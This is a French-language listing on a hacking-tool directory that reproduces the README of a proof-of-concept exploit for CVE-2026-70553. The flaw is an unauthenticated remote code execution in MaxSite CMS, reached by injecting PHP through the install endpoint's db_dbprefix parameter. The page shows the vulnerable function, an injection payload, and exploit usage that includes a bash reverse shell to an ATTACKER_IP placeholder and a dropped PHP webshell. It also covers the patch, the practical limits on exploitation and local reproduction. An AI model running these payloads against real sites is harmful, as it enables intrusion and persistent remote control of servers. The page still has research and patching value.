Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-70553-PoC — Preuve de concept d'exploit pour CVE-2026-70553, permettant une RCE non authentifiée dans MaxSite CMS via une injection PHP persistante dans database.php à travers l'endpoint d'installation. | Kitploit
Outils/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
Génération de PayloadsExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

Preuve de concept d'exploit pour CVE-2026-70553, permettant une RCE non authentifiée dans MaxSite CMS via une injection PHP persistante dans database.php à travers l'endpoint d'installation.

Voir le dépôt
11il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-70553 - Exécution de code à distance non authentifiée dans MaxSite CMS

CVE CVSS

Preuve de concept pour CVE-2026-70553 : exécution de code à distance non authentifiée dans MaxSite CMS via une injection persistante de code PHP dans database.php par le biais du point de terminaison d'installation.


Avertissement

Cette PoC est uniquement destinée à des fins de recherche en sécurité éducatives et autorisées. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce code. Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.


Vue d'ensemble de la vulnérabilité

Les versions 105.2 à 109.5 de MaxSite CMS contiennent une vulnérabilité critique d'exécution de code à distance non authentifiée dans le point de terminaison d'installation. Le paramètre db_dbprefix est directement concaténé dans du code PHP sans assainissement, ce qui permet à un attaquant d'injecter des instructions PHP arbitraires dans . Comme ce fichier est inclus à chaque requête, le code injecté permet une RCE persistante.

application/config/database.php

Versions affectées

  • MaxSite CMS 105.2 - 109.5
  • Corrigé dans : 109.6 (2026-06-08)

Détails techniques

Cause racine

Dans install/installer/functions.php, la fonction newDatabase() construit le contenu de database.php :

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

Mécanisme d'exploitation

En injectant une charge utile comme :

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

Le database.php généré devient :

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

Cela permet de sortir de la chaîne littérale et d'injecter du code PHP arbitraire.

Correctif (109.6)

Le correctif ajoute une vérification pour empêcher la réinstallation :

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

Utilisation

Installation

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

Utilisation de base

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

Options

root@kitploit:~
--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

Contraintes d'exploitation

CRITIQUE : Cette vulnérabilité présente de sérieuses limitations pratiques dans des scénarios réels.

Conditions requises

  1. Le point de terminaison d'installation doit être accessible (répertoire /install/ non supprimé)
  2. Les tables de la base de données ne doivent pas encore exister (nouvelle installation ou base de données vidée)
    • La fonction newDatabase() n'est appelée que si les tables n'existent pas
    • Cette vérification est effectuée dans install/installer/post.php via checkTableExists()

Pourquoi la plupart des sites ne sont PAS vulnérables

  • Les sites de production ont terminé l'installation → Les tables existent → newDatabase() n'est jamais appelée
  • Même si /install/ est accessible, le chemin de code menant à l'injection est bloqué par la vérification de l'existence des tables
  • Notre scan massif a constaté que seuls ~24 % des sites avaient un point de terminaison d'installation accessible, et que 0 % étaient réellement exploitables en raison des tables de base de données existantes

Exploitabilité dans le monde réel

  • Théorique : Critique (CVSS 9.8)
  • Pratique : Très faible
  • Profil de cible réaliste :
    • Installation interrompue en cours de processus
    • Base de données supprimée manuellement mais code conservé
    • Instances de test/développement fraîches (pas en production)

Reproduction locale

Pour vérifier cette vulnérabilité dans un environnement contrôlé :

Configuration de l'environnement vulnérable

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

Vérifier l'injection

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

Références

  • CVE-2026-70553 - CVE Record
  • NVD Entry
  • VulnCheck Advisory
  • MaxSite CMS GitHub
  • Patch Commit (109.6)

Chronologie

  • 2026-06-08 : MaxSite CMS 109.6 publié avec le correctif
  • 2026-08-04 : CVE-2026-70553 publiée
  • 2026-08-06 : PoC publiée

Crédits

  • Découverte : Amir Aliu & Enrik Mustafa (VulnCheck)
  • Développement de la PoC : Chercheur en sécurité
  • Éditeur : Équipe MaxSite CMS

Licence

Ce projet est publié sous la licence MIT. Voir LICENSE pour plus de détails.


Rappel : Pratiquez toujours la divulgation responsable et obtenez une autorisation appropriée avant de tester.

Télécharger l’outil